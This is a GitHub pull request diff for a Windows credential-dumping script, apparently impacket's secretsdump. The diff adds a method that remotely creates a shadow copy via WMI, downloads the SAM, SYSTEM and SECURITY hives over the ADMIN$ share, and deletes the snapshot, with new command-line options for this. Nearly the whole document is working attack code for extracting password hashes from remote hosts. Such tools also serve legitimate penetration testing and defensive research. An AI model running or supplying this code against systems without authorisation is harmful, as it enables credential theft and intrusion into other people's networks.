Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[SECRETSDUMP] New Dump Method - Shadow Snapshot Method via WMI #1719

Merged
merged 20 commits into from
May 13, 2024
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Empty file added SAM'
Empty file.
48 changes: 46 additions & 2 deletions examples/secretsdump.py
Original file line number Diff line number Diff line change
Expand Up @@ -113,6 +113,9 @@ def __init__(self, remoteName, username='', password='', domain='', options=None
self.__resumeFileName = options.resumefile
self.__canProcessSAMLSA = True
self.__kdcHost = options.dc_ip
self.__remoteSSMethod = options.use_remoteSSMethod
self.__remoteSSMethodRemoteVolume = options.remoteSS_remote_volume
self.__remoteSSMethodDownloadPath = options.remoteSS_local_path
self.__options = options

if options.hashes is not None:
Expand Down Expand Up @@ -168,9 +171,44 @@ def ldapConnect(self):

def dump(self):
try:
if self.__remoteName.upper() == 'LOCAL' and self.__username == '':
# Almost like LOCAL but create a Shadow Snapshot at target and download SAM, SYSTEM and SECURITY from the SS.
# Then, parse locally
if self.__remoteSSMethod:
self.__isRemote = False
self.__useVSSMethod = True
try:
self.connect()
except Exception as e:
if os.getenv('KRB5CCNAME') is not None and self.__doKerberos is True:
# SMBConnection failed. That might be because there was no way to log into the
# target system. We just have a last resort. Hope we have tickets cached and that they
# will work
logging.debug('SMBConnection didn\'t work, hoping Kerberos will help (%s)' % str(e))
pass
else:
raise

# TESTING C:\\
# Should specify Volume with argument
self.__remoteOps = RemoteOperations(self.__smbConnection, self.__doKerberos, self.__kdcHost,
self.__ldapConnection)
self.__remoteOps.setExecMethod(self.__options.exec_method)
sam_path, system_path, security_path = self.__remoteOps.createSSandDownload(self.__remoteSSMethodRemoteVolume,
self.__remoteSSMethodDownloadPath)
self.__samHive = sam_path
self.__systemHive = system_path
self.__securityHive = security_path

localOperations = LocalOperations(self.__systemHive)
bootKey = localOperations.getBootKey()
if self.__ntdsFile is not None:
# Let's grab target's configuration about LM Hashes storage
self.__noLMHash = localOperations.checkNoLMHashPolicy()

elif self.__remoteName.upper() == 'LOCAL' and self.__username == '':
self.__isRemote = False
self.__useVSSMethod = True

if self.__systemHive:
localOperations = LocalOperations(self.__systemHive)
bootKey = localOperations.getBootKey()
Expand Down Expand Up @@ -371,13 +409,19 @@ def cleanup(self):
parser.add_argument('-outputfile', action='store',
help='base output filename. Extensions will be added for sam, secrets, cached and ntds')
parser.add_argument('-use-vss', action='store_true', default=False,
help='Use the VSS method instead of default DRSUAPI')
help='Use the NTDSUTIL VSS method instead of default DRSUAPI')
parser.add_argument('-rodcNo', action='store', type=int, help='Number of the RODC krbtgt account (only avaiable for Kerb-Key-List approach)')
parser.add_argument('-rodcKey', action='store', help='AES key of the Read Only Domain Controller (only avaiable for Kerb-Key-List approach)')
parser.add_argument('-use-keylist', action='store_true', default=False,
help='Use the Kerb-Key-List method instead of default DRSUAPI')
parser.add_argument('-exec-method', choices=['smbexec', 'wmiexec', 'mmcexec'], nargs='?', default='smbexec', help='Remote exec '
'method to use at target (only when using -use-vss). Default: smbexec')
parser.add_argument('-use-remoteSSMethod', action='store_true',
help='Remotely create Shadow Snapshot via WMI and download SAM, SYSTEM and SECURITY from it, the parse locally')
parser.add_argument('-remoteSS-remote-volume', action='store', default='C:\\',
help='Remote Volume to perform the Shadow Snapshot and download SAM, SYSTEM and SECURITY')
parser.add_argument('-remoteSS-local-path', action='store', default='.',
help='Path where download SAM, SYSTEM and SECURITY from Shadow Snapshot. It defaults to current path')

group = parser.add_argument_group('display options')
group.add_argument('-just-dc-user', action='store', metavar='USERNAME',
Expand Down
67 changes: 67 additions & 0 deletions impacket/examples/secretsdump.py
Original file line number Diff line number Diff line change
Expand Up @@ -777,6 +777,10 @@ def getServiceAccount(self, serviceName):
LOG.error(e)
return None

def __getSCManagerHandle(self):
ans = scmr.hROpenSCManagerW(self.__scmr)
self.__scManagerHandle = ans['lpScHandle']

def __checkServiceStatus(self):
# Open SC Manager
ans = scmr.hROpenSCManagerW(self.__scmr)
Expand Down Expand Up @@ -1053,6 +1057,41 @@ def __wmiExec(self, command):

dcom.disconnect()

def __wmiCreateShadow(self, volume):
username, password, domain, lmhash, nthash, aesKey, _, _ = self.__smbConnection.getCredentials()
dcom = DCOMConnection(self.__smbConnection.getRemoteHost(), username, password, domain, lmhash, nthash, aesKey,
oxidResolver=False, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost)
iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login)
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
iWbemLevel1Login.RemRelease()

win32ShadowCopy,_ = iWbemServices.GetObject('Win32_ShadowCopy')
LOG.debug('Trying to create SS remotely via WMI')
result = win32ShadowCopy.Create(volume, 'ClientAccessible')

shadowId = result.ShadowID
LOG.debug('Got ShadowID %s' % shadowId)

dcom.disconnect()

return shadowId

def __wmiDeleteShadow(self, ssID):
username, password, domain, lmhash, nthash, aesKey, _, _ = self.__smbConnection.getCredentials()
dcom = DCOMConnection(self.__smbConnection.getRemoteHost(), username, password, domain, lmhash, nthash, aesKey,
oxidResolver=False, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost)
iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login)
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
iWbemLevel1Login.RemRelease()

wmiPath = 'Win32_ShadowCopy.ID="%s"' % ssID
LOG.debug('Trying to delete ShadowCopy')
iWbemServices.DeleteInstance(wmiPath)

dcom.disconnect()

def __executeRemote(self, data):
self.__tmpServiceName = ''.join([random.choice(string.ascii_letters) for _ in range(8)])
command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' > ' + self.__batchFile + ' & ' + \
Expand Down Expand Up @@ -1196,6 +1235,34 @@ def saveNTDS(self):

return remoteFileName

def createSSandDownload(self, volume, localPath):
LOG.info('Creating SS')
ssID = self.__wmiCreateShadow(volume)
LOG.info('Getting SMB equivalent PATH to access remotely the SS')
gmtSMBPath = self.__smbConnection.listSnapshots(self.__smbConnection.connectTree('ADMIN$'), '/')[0]
LOG.debug('Got SMB GMT Path: %s' % gmtSMBPath)
LOG.debug('Performed SS via WMI and got info')

if self.__execMethod == 'smbexec':
self.__connectSvcCtl()
self.__getSCManagerHandle()

# Array of tuples of (local path to download, remote path of file)
paths = [('%s/SAM' % localPath, '%s\\System32\\config\\SAM' % gmtSMBPath),
('%s/SYSTEM' % localPath, '%s\\System32\\config\\SYSTEM' % gmtSMBPath),
('%s/SECURITY' % localPath, '%s\\System32\\config\\SECURITY' % gmtSMBPath)]

for p in paths:
with open(p[0], 'wb') as local_file:
self.__smbConnection.getFile('ADMIN$', p[1], local_file.write)

# Return a list of the local paths where SAM, SYSTEM and SECURITY were downloaded
LOG.debug('Trying to delete ShadowSnapshot')
self.__wmiDeleteShadow(ssID)

LOG.debug('Downloaded SAM, SYSTEM and SECURITY from Shadow Snapshot. Dumping...')
return list(zip(*paths))[0]

class CryptoCommon:
# Common crypto stuff used over different classes
def deriveKey(self, baseKey):
Expand Down
Loading